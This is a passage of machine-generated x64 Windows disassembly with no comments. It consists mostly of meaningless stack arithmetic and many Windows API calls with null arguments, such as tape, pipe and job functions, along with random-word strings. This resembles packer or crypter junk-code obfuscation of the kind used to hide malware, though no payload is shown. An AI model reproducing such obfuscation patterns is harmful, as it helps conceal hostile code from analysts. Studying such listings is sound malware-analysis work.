mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov eax, dword [rsp + 0x1aa4]
add eax, 0x30
mov dword [rsp + 0x1aa4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [section..data]
and eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
nop
jmp 0x140008a1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x3470]
mov rcx, qword [rsp + 0x33f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x3470]
mov rcx, qword [rsp + 0x3440]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3470]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1b5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc7]
shl eax, cl
mov byte [rsp + 0xc5], al
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x738]
sar eax, cl
mov word [rsp + 0x734], ax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
and eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x33c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov rax, qword [rsp + 0x3458]
mov rcx, qword [rsp + 0x3368]
sub rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x3478]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b94], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1acc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b3c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x738], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x3470]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3458]
shl rax, cl
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b5c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b0c]
sub eax, 0xd8
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x3288]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [rsp + 0x1ad4]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x3490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3490]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x740], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x74c]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movsx eax, word [rsp + 0x740]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x730], ax
cmp dword [rsp + 0x1b0c], 0xce72
jae 0x140008c63
lea rax, [rsp + 0x3440]
mov qword [rsp + 0x3498], rax
movsx eax, word [rsp + 0x740]
mov dword [rsp + 0x1bbc], eax
cmp dword [rsp + 0x1bbc], 0x5621
je 0x140009067
cmp dword [rsp + 0x1bbc], 0x65c2
je 0x1400090c6
jmp 0x1400090ff
mov rax, qword [rsp + 0x3488]
movzx eax, byte [rax]
mov byte [rsp + 0x1bc0], al
cmp byte [rsp + 0x1bc0], 0x4b
je 0x14000908f
cmp byte [rsp + 0x1bc0], 0xde
je 0x1400090b7
jmp 0x1400090c4
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov byte [0x1400dded2], al
mov rcx, qword [rsp + 0x3288]
call fcn.1400bbe90
nop
jmp 0x1400090c4
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x1b5c], eax
jmp 0x1400090ff
mov rax, qword [rsp + 0x32f0]
mov rcx, qword [rsp + 0x33b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a70], eax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1aa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movzx eax, byte [section..data]
mov byte [rsp + 0xcb], al
cmp dword [rsp + 0x1bb8], 0x10ee0
je 0x140009585
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
shl eax, cl
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x734], ax
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x740], ax
mov eax, dword [rsp + 0x1b5c]
mov ecx, dword [rsp + 0x1a48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
movsx eax, byte [rsp + 0xcb]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [rsp + 0x1bb8]
add eax, 0xc2
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3498]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [rsp + 0x74c]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x748], ax
movzx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x74c], ax
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x3478]
mov eax, dword [rax]
mov ecx, dword [0x1400dd010]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3458]
and rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1acc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3288]
mov rcx, qword [rsp + 0x33c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x74c]
shl eax, cl
mov word [rsp + 0x734], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x730], ax
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1acc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [0x1400dd010]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, word [rsp + 0x74c]
movzx ecx, word [rsp + 0x734]
sub eax, ecx
mov word [rsp + 0x744], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3408]
mov byte [rcx], al
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x3498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3368]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3470]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
nop
jmp 0x14000910d
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x74c]
shl eax, cl
mov dword [rsp + 0x1bc4], eax
movzx ecx, word [rsp + 0x738]
mov rdx, qword [rsp + 0x33a0]
movzx edx, word [rdx]
mov dword [rsp + 0x1bc8], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x1bc8]
idiv ecx
mov ecx, dword [rsp + 0x1bc4]
cmp ecx, eax
je 0x140009713
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x730]
add eax, ecx
movsx ecx, word [rsp + 0x73c]
mov rdx, qword [rsp + 0x32d0]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14000965a
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1aa8], eax
lea rdx, [rsp + 0x1aa8]
mov rcx, qword [rsp + 0x3310]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x1b34], eax
mov rax, qword [rsp + 0x3498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3458]
sub rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
jmp 0x140009700
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32f8]
imul rcx, qword [rsp + 0x33c0]
cmp rax, rcx
ja 0x140009700
lea rdx, [rsp + 0x3350]
mov rcx, qword [rsp + 0x34a0]
call qword [sym.imp.USER32.dll_GetIconInfo]
mov dword [rsp + 0x1bcc], eax
mov rax, qword [rsp + 0x3478]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x32c0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x3410]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x3478]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
nop
jmp 0x14000977c
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
or eax, ecx
movzx ecx, byte [rsp + 0xc7]
mov rdx, qword [rsp + 0x3280]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x14000977c
movsx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x734]
xor eax, ecx
movzx ecx, word [rsp + 0x738]
movzx edx, word [rsp + 0x74c]
or ecx, edx
cmp eax, ecx
jne 0x140009894
lea rax, [rsp + 0xdbf0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x3270]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x3480]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x3270]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3480]
mov r8, qword [rsp + 0x34a8]
mov rdx, qword [rsp + 0x3268]
mov ecx, 0x91
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x1a3c], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
mov dword [rsp + 0x1bd0], ecx
movsx edx, byte [rsp + 0xc6]
movzx ecx, dl
mov edx, dword [rsp + 0x1bd0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140009886
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x3488]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x32e0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400bae8b
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov qword [rsp + 0x34b0], rax
movabs rax, 0x7a8ce97f38c16953
cmp qword [rsp + 0x34b0], rax
je 0x14000990a
movabs rax, 0x7e03064752426a40
cmp qword [rsp + 0x34b0], rax
je 0x140009a21
jmp 0x140009b0e
mov eax, dword [rsp + 0x1b94]
mov ecx, dword [rsp + 0x1a48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33c0]
imul rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
mov rdx, qword [rsp + 0x32f8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x1400099c0
mov rax, qword [0x1400dd008]
mov rcx, qword [rsp + 0x3368]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3440], rax
lea rcx, [rsp + 0xe070]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x1a38], eax
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x32c0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x33a0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x1b94]
call fcn.1400bcc50
nop
jmp 0x1400099f9
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1b6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1a40]
shr eax, cl
mov dword [rsp + 0x1a3c], eax
mov r8w, 0xd8
mov rdx, qword [rsp + 0x34b8]
mov rcx, qword [rsp + 0x3298]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x73c], ax
jmp 0x140009b0e
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
shl eax, cl
mov word [rsp + 0x734], ax
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x1bd4], al
cmp byte [rsp + 0x1bd4], 0x5a
je 0x140009a5c
jmp 0x140009af1
movzx eax, byte [0x1400dded2]
mov rcx, qword [rsp + 0x3488]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3408]
mov byte [rcx], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x73c], ax
lea rax, str.heading_rusks_Jiujitsu_Rejections_Subcutaneously
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc8]
mov r8d, 0x37
mov edx, 0x94
mov rcx, qword [rsp + 0x34c0]
call qword [sym.imp.USER32.dll_ModifyMenuA]
mov dword [rsp + 0x1bd8], eax
movzx r8d, byte [rsp + 0xc8]
movzx edx, word [rsp + 0x748]
mov rax, qword [rsp + 0x33b0]
mov ecx, dword [rax]
call fcn.1400bc550
nop
jmp 0x140009b0e
movsx eax, word [rsp + 0x748]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x730], ax
lea rax, section..data
mov qword [rsp + 0x34c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
nop
mov eax, dword [rsp + 0x1a40]
mov dword [rsp + 0x1bdc], eax
cmp dword [rsp + 0x1bdc], 0x5cd73460
je 0x140009b45
jmp 0x140009bb8
lea rdx, str.reappears_Prostaglandin_crutches_Adventurously
mov rcx, qword [rsp + 0x3290]
call qword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [rsp + 0x1be0], eax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x3488]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc5]
mov rax, qword [rsp + 0x33f0]
mov r8, qword [rax]
movzx edx, byte [rsp + 0xc7]
mov rax, qword [rsp + 0x3498]
mov rcx, qword [rax]
call fcn.1400bb700
nop
jmp 0x140009c2d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b6c], eax
mov rax, qword [rsp + 0x3498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3458]
add rcx, rax
mov rax, rcx
mov qword [0x1400dd018], rax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov qword [rsp + 0x34d0], rax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x33c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
cmp dword [rsp + 0x1aac], 0x4193
jae 0x140009fdf
mov rax, qword [rsp + 0x3478]
mov ecx, dword [rsp + 0x1a3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a40], eax
movsx eax, word [rsp + 0x748]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0xbd], al
movsx eax, word [rsp + 0x740]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x3488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
shl eax, cl
mov byte [rsp + 0xc8], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x3498]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3440]
sar rax, cl
mov qword [0x1400dd018], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x32f0]
mov rcx, qword [rsp + 0x3390]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1b5c], eax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
mov rax, qword [rsp + 0x3470]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3458], rax
movsx eax, byte [section..data]
mov rcx, qword [rsp + 0x34c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, word [rsp + 0x74c]
movzx ecx, word [rsp + 0x738]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov word [rsp + 0x73c], ax
mov eax, dword [rsp + 0x1aac]
add eax, 0x62
mov dword [rsp + 0x1aac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [0x1400dd018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x34d0], rax
mov eax, dword [rsp + 0x1a48]
movzx ecx, al
mov eax, dword [rsp + 0x1b5c]
shl eax, cl
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
or eax, ecx
